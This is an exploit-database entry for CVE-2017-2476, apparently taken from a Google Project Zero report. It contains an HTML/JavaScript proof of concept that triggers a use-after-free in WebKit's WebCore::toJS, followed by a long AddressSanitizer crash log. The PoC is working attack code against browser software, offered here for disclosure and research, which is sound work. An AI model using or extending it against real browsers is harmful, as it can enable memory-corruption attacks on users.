Apple WebKit - 'WebCore::toJS' Use-After-Free



EKU-ID: 6463 CVE: 2017-2476 OSVDB-ID:
Author: Google Security Research Published: 2017-04-05 Verified: Verified
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<!--
Source :https://bugs.chromium.org/p/project-zero/issues/detail?id=1114
 
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.
 
PoC:
 
=================================================================
-->
 
<script>
function freememory() {
  var a;
  for(var i=0;i<100;i++) {
    a = new Uint8Array(1024*1024);
  }
}
function f1() {
  var iframe = document.getElementById("iframe");
  iframe.srcdoc = "x";
  window.frames.event = window.event;
  freememory();
}
function f2() {
  var h = new XMLHttpRequest();
  h.onreadystatechange = f1;
  h.open("foo","1");
  var e = window.event;
  e.initEvent("1",true,true);
  e.currentTarget.click();
}
</script>
</head>
<body onload=f1()>
<iframe id="iframe" onload="f2()"></iframe>
 
<!--
=================================================================
 
ASan log:
 
=================================================================
==25184==ERROR: AddressSanitizer: heap-use-after-free on address 0x61a000076e80 at pc 0x000115bea4e0 bp 0x7fff52cef2e0 sp 0x7fff52cef2d8
READ of size 8 at 0x61a000076e80 thread T0
    #0 0x115bea4df in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::EventTarget&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x138c4df)
    #1 0x115bc7b72 in WebCore::jsEventCurrentTargetGetter(JSC::ExecState&, WebCore::JSEvent&, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1369b72)
    #2 0x115bc4c06 in long long WebCore::BindingCaller<WebCore::JSEvent>::attribute<&(WebCore::jsEventCurrentTargetGetter(JSC::ExecState&, WebCore::JSEvent&, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1366c06)
    #3 0x1121bd448 in JSC::PropertySlot::customGetter(JSC::ExecState*, JSC::PropertyName) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1587448)
    #4 0x111ef652e in llint_slow_path_get_by_id (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c052e)
    #5 0x111f13926 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12dd926)
    #6 0x111f17490 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12e1490)
    #7 0x111f10aca in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12daaca)
    #8 0x111bca172 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf94172)
    #9 0x111b4fa33 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf19a33)
    #10 0x11123d5c1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6075c1)
    #11 0x11123d6eb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6076eb)
    #12 0x11123da36 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x607a36)
    #13 0x1158ea62e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x108c62e)
    #14 0x115bde086 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1380086)
    #15 0x115123415 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8c5415)
    #16 0x115122f3f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8c4f3f)
    #17 0x1150ebe35 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88de35)
    #18 0x1150ecf83 in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88ef83)
    #19 0x1150ec9aa in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88e9aa)
    #20 0x115020db5 in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7c2db5)
    #21 0x114f311df in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d31df)
    #22 0x114f2be4e in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6cde4e)
    #23 0x11528c8e1 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa2e8e1)
    #24 0x115289dfa in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa2bdfa)
    #25 0x114f4996d in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6eb96d)
    #26 0x11544048d in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe248d)
    #27 0x114fddb1c in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77fb1c)
    #28 0x114fa287e in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x74487e)
    #29 0x114fa5a53 in WebCore::DocumentLoader::continueAfterContentPolicy(WebCore::PolicyAction) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x747a53)
    #30 0x114fa407d in WebCore::DocumentLoader::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x74607d)
    #31 0x114fa0a92 in WebCore::DocumentLoader::handleSubstituteDataLoadNow() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x742a92)
    #32 0x11250aeaa in WTF::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d4eaa)
    #33 0x7fff9d2f6af3 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92af3)
    #34 0x7fff9d2f6782 in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92782)
    #35 0x7fff9d2f62d9 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x922d9)
    #36 0x7fff9d2ed7d0 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x897d0)
    #37 0x7fff9d2ece37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
    #38 0x7fff9b506934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
    #39 0x7fff9b50676e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
    #40 0x7fff9b5065ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
    #41 0x7fff91794df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
    #42 0x7fff91794225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
    #43 0x7fff91788d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
    #44 0x7fff91752367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
    #45 0x7fff96d41193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
    #46 0x7fff96d3fbbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
    #47 0x10cf0cb73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #48 0x7fffa08505ac in start (/usr/lib/system/libdyld.dylib+0x35ac)
 
0x61a000076e80 is located 0 bytes inside of 1376-byte region [0x61a000076e80,0x61a0000773e0)
freed by thread T0 here:
    #0 0x10f50bcf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x11255181f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x191b81f)
    #2 0x111cb4d58 in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x107ed58)
    #3 0x111cb355e in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x107d55e)
    #4 0x111cb2003 in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'()::operator()() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x107c003)
    #5 0x111cb17e6 in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x107b7e6)
    #6 0x111cb143a in JSC::JSDestructibleObjectSubspace::finishSweep(JSC::MarkedBlock::Handle&, JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x107b43a)
    #7 0x111f2b905 in JSC::MarkedBlock::Handle::sweep(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f5905)
    #8 0x111f26e74 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f0e74)
    #9 0x111f268e8 in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f08e8)
    #10 0x111f2775e in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f175e)
    #11 0x115a154b9 in void* JSC::allocateCell<WebCore::JSHTMLDocument>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b74b9)
    #12 0x115a15104 in WebCore::JSHTMLDocument::create(JSC::Structure*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b7104)
    #13 0x115a1504b in std::__1::enable_if<std::is_same<WebCore::HTMLDocument, WebCore::HTMLDocument>::value, WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::HTMLDocument>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b704b)
    #14 0x115a14e17 in std::__1::enable_if<!(std::is_same<WebCore::HTMLDocument, WebCore::Document>::value), WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::Document>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b6e17)
    #15 0x115a1457c in WebCore::createNewDocumentWrapper(JSC::ExecState&, WebCore::JSDOMGlobalObject&, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b657c)
    #16 0x115a14746 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b6746)
    #17 0x115f0dc3a in WebCore::createWrapper(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Node>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x16afc3a)
    #18 0x1154ddca8 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc7fca8)
    #19 0x115b8e39c in WebCore::JSDOMWindowBase::updateDocument() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x133039c)
    #20 0x116d5dfb1 in WebCore::ScriptController::initScript(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24fffb1)
    #21 0x10d20ba77 in WebCore::ScriptController::windowShell(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2eba77)
    #22 0x10d208c18 in WebCore::ScriptController::globalObject(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2e8c18)
    #23 0x10d4d2fc4 in WebKit::WebFrame::jsContextForWorld(WebKit::InjectedBundleScriptWorld*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x5b2fc4)
    #24 0x1247b2b61 in -[OpenSearchURLFinderController _jsContext] (/System/Library/StagedFrameworks/Safari/Safari.framework/Safari+0x330b61)
    #25 0x1247b28b9 in -[OpenSearchURLFinderController initWithBundleFrame:] (/System/Library/StagedFrameworks/Safari/Safari.framework/Safari+0x3308b9)
    #26 0x124523a29 in Safari::BrowserBundlePageController::determineOpenSearchURL(Safari::WK::BundleFrame const&) (/System/Library/StagedFrameworks/Safari/Safari.framework/Safari+0xa1a29)
    #27 0x1245239a3 in invocation function for block in Safari::BrowserBundlePageController::determineOpenSearchURLSoon() (/System/Library/StagedFrameworks/Safari/Safari.framework/Safari+0xa19a3)
    #28 0x7fffa0df7deb in __NSFireTimer (/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation+0xa9deb)
    #29 0x7fff9d2f6af3 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92af3)
 
previously allocated by thread T0 here:
    #0 0x10f50b790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fff948155a0 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x25a0)
    #2 0x11255b314 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1925314)
    #3 0x1125505db in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x191a5db)
    #4 0x1124e8635 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b2635)
    #5 0x1124e7918 in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b1918)
    #6 0x1175c6389 in WebCore::XMLHttpRequest::create(WebCore::ScriptExecutionContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2d68389)
    #7 0x11644fc8c in WebCore::JSDOMConstructor<WebCore::JSXMLHttpRequest>::construct(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1bf1c8c)
    #8 0x111f0df2e in JSC::LLInt::handleHostCall(JSC::ExecState*, JSC::Instruction*, JSC::JSValue, JSC::CodeSpecializationKind) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d7f2e)
    #9 0x111f08149 in JSC::LLInt::setUpCall(JSC::ExecState*, JSC::Instruction*, JSC::CodeSpecializationKind, JSC::JSValue, JSC::LLIntCallLinkInfo*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d2149)
    #10 0x111f17827 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12e1827)
    #11 0x111f17502 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12e1502)
    #12 0x111f10aca in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12daaca)
    #13 0x111bca172 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf94172)
    #14 0x111b4fa33 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf19a33)
    #15 0x11123d5c1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6075c1)
    #16 0x11123d6eb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6076eb)
    #17 0x11123da36 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x607a36)
    #18 0x1158ea62e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x108c62e)
    #19 0x115bde086 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1380086)
    #20 0x115123415 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8c5415)
    #21 0x115122f3f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8c4f3f)
    #22 0x1150ebe35 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88de35)
    #23 0x1150ecf83 in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88ef83)
    #24 0x1150ec9aa in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88e9aa)
    #25 0x115020db5 in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7c2db5)
    #26 0x114f311df in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d31df)
    #27 0x114f2be4e in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6cde4e)
    #28 0x11528c8e1 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa2e8e1)
    #29 0x115289dfa in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa2bdfa)
 
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x138c4df) in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::EventTarget&)
Shadow bytes around the buggy address:
  0x1c340000ed80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c340000ed90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c340000eda0: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
  0x1c340000edb0: fc fc fc fc fc fc fc fc fc fc fc fa fa fa fa fa
  0x1c340000edc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x1c340000edd0:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c340000ede0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c340000edf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c340000ee00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c340000ee10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c340000ee20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==25184==ABORTING
-->